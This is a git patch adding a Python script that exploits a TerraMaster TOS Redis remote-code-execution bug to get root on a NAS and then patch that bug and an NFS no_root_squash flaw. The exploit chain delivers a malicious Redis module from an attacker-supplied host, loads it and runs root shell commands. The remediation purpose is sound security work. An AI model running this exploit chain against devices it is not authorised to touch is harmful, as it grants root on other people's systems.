From ec253c31a1d936b3fce6c22979332ec6e389c891 Mon Sep 17 00:00:00 2001 From: Aaron Esau Date: Mon, 18 May 2026 15:28:47 +0900 Subject: [PATCH] feat: patch script for terramaster RCE --- terramaster/patch.py | 208 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 208 insertions(+) create mode 100644 terramaster/patch.py diff --git a/terramaster/patch.py b/terramaster/patch.py new file mode 100644 index 0000000..bab2c9f --- /dev/null +++ b/terramaster/patch.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +""" +patch.py — Exploit TerraMaster TOS Redis RCE to patch both vulnerabilities. + +Bug 1 (RCE): /etc/init.d/redis is a symlink to /usr/sbin/desh, which runs + /etc/init.d/redis.en — an encrypted script that starts + "redis-server 0.0.0.0:6379", ignoring /etc/redis.conf (which + already has "bind 127.0.0.1"). +Fix: Replace the desh symlink with a proper init script that starts + redis-server with /etc/redis.conf. Ensure daemonize yes is set. + +Bug 2 (LPE): /etc/exports has no_root_squash on NFS exports. +Fix: Replace no_root_squash with root_squash and re-export. + +Usage: + python3 patch.py + python3 patch.py --lhost + python3 patch.py --no-restart +""" + +import argparse +import base64 +import os +import sys + +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, os.path.join(SCRIPT_DIR, "rce")) + +import poc +from poc import ( + Progress, deliver_module, redis_load_module, redis_exec, + redis_cmd, info, good, warn, bail, +) + +REDIS_INIT = """\ +#!/bin/sh +# Patched by patch.py — uses /etc/redis.conf instead of hardcoded 0.0.0.0:6379 +DAEMON=/usr/bin/redis-server +CONF=/etc/redis.conf + +case "$1" in + start) + "$DAEMON" "$CONF" + ;; + stop) + redis-cli shutdown nosave 2>/dev/null || killall redis-server 2>/dev/null + ;; + restart|reload) + "$0" stop + sleep 1 + "$0" start + ;; + *) + echo "Usage: $0 {start|stop|restart}" >&2 + exit 1 + ;; +esac +""" + + +def rexec(sock, cmd): + """Execute a shell command on the target via system.exec.""" + return redis_exec(sock, cmd) + + +def write_remote(sock, path, content, mode=None): + """Write a text file on the target via base64-encoded echo.""" + b64 = base64.b64encode(content.encode()).decode() + rexec(sock, f"echo '{b64}' | base64 -d > {path}") + if mode: + rexec(sock, f"chmod {mode} {path}") + + +def patch_redis(sock): + """Replace the desh-encrypted Redis init script with one that honours + /etc/redis.conf, and ensure the config has daemonize yes.""" + + # --- verify the config already binds to localhost --- + bind_line = rexec(sock, "grep '^bind ' /etc/redis.conf") + if "127.0.0.1" not in bind_line: + bail(f"/etc/redis.conf bind is not 127.0.0.1: {bind_line.strip()}") + good(f"redis.conf bind verified: {bind_line.strip()}") + + # --- ensure daemonize yes (stock config ships 'daemonize no') --- + daemonize = rexec(sock, "grep '^daemonize ' /etc/redis.conf") + if "yes" not in daemonize: + info("Setting daemonize yes in /etc/redis.conf") + rexec(sock, "sed -i 's/^daemonize .*/daemonize yes/' /etc/redis.conf") + verify = rexec(sock, "grep '^daemonize ' /etc/redis.conf") + if "yes" not in verify: + rexec(sock, "echo 'daemonize yes' >> /etc/redis.conf") + good("daemonize yes set") + else: + good(f"redis.conf daemonize verified: {daemonize.strip()}") + + # --- safety: confirm init script is the vulnerable desh symlink --- + target = rexec(sock, "readlink /etc/init.d/redis 2>/dev/null || echo NOT_A_SYMLINK") + if "/usr/sbin/desh" not in target: + warn(f"/etc/init.d/redis is not the expected desh symlink ({target.strip()})") + warn("Skipping init script replacement — may already be patched") + return + + # --- replace the symlink with a real init script --- + rexec(sock, "cp -a /etc/init.d/redis /etc/init.d/redis.bak.pre-patch 2>/dev/null; true") + rexec(sock, "rm -f /etc/init.d/redis") + write_remote(sock, "/etc/init.d/redis", REDIS_INIT, mode="755") + + head = rexec(sock, "head -2 /etc/init.d/redis") + if "#!/bin/sh" not in head: + bail("Failed to write /etc/init.d/redis") + good("Patched /etc/init.d/redis — will use /etc/redis.conf on restart") + + +def patch_nfs(sock): + """Replace no_root_squash with root_squash in /etc/exports and re-export.""" + exports = rexec(sock, "cat /etc/exports 2>/dev/null") + if not exports.strip(): + warn("/etc/exports is empty or missing — skipping NFS patch") + return + + if "no_root_squash" not in exports: + warn("no_root_squash not found in /etc/exports — already fixed or not present") + return + + info(f"Current /etc/exports:\n{exports.strip()}") + rexec(sock, "cp /etc/exports /etc/exports.bak.pre-patch") + rexec(sock, "sed -i 's/no_root_squash/root_squash/g' /etc/exports") + + patched = rexec(sock, "cat /etc/exports") + if "no_root_squash" in patched: + bail("sed replacement failed on /etc/exports") + good(f"Patched /etc/exports:\n{patched.strip()}") + + rexec(sock, "exportfs -ra 2>/dev/null; true") + good("NFS re-exported with root_squash") + + +def main(): + parser = argparse.ArgumentParser( + description="Exploit TerraMaster TOS Redis RCE to patch both bugs", + ) + parser.add_argument("host", help="NAS IP address") + parser.add_argument("--lhost", default=None, + help="Attacker IP reachable from target (default: auto)") + parser.add_argument("--no-restart", action="store_true", + help="Skip Redis restart after patching") + args = parser.parse_args() + + poc._progress = Progress(total=8) + + # --- load the .so payload --- + module_so = os.path.join(SCRIPT_DIR, "rce", "module.so") + if not os.path.isfile(module_so): + bail(f"{module_so} not found — run 'make' in rce/") + payload = open(module_so, "rb").read() + info(f"Loaded {module_so} ({len(payload)} bytes)") + + # --- phase 1: exploit the RCE --- + module_path = deliver_module(args.host, payload, lhost=args.lhost) + sock = redis_load_module(args.host, module_path) + + whoami = rexec(sock, "id") + if "uid=0" not in whoami: + bail(f"Not root: {whoami.strip()}") + good(f"Root: {whoami.strip()}") + + # --- phase 2: patch both bugs --- + try: + patch_redis(sock) + patch_nfs(sock) + except SystemExit: + raise + except Exception as e: + warn(f"Patch failed: {e}") + rexec(sock, f"rm -f {module_path}") + try: + redis_cmd(sock, "MODULE", "UNLOAD", "system") + except OSError: + pass + sock.close() + return 1 + + # --- phase 3: cleanup exploit artifacts --- + info("Removing exploit module from disk") + rexec(sock, f"rm -f {module_path}") + + if not args.no_restart: + info("Scheduling Redis restart in 2s") + rexec(sock, "nohup sh -c 'sleep 2; /etc/init.d/redis restart' >/dev/null 2>&1 &") + good("Redis will restart bound to 127.0.0.1 in ~2 seconds") + else: + warn("Skipped restart — run '/etc/init.d/redis restart' to apply Redis bind fix") + + try: + redis_cmd(sock, "MODULE", "UNLOAD", "system") + except (BrokenPipeError, OSError): + pass + try: + sock.close() + except OSError: + pass + + good("Both vulnerabilities patched") + return 0 + + +if __name__ == "__main__": + sys.exit(main())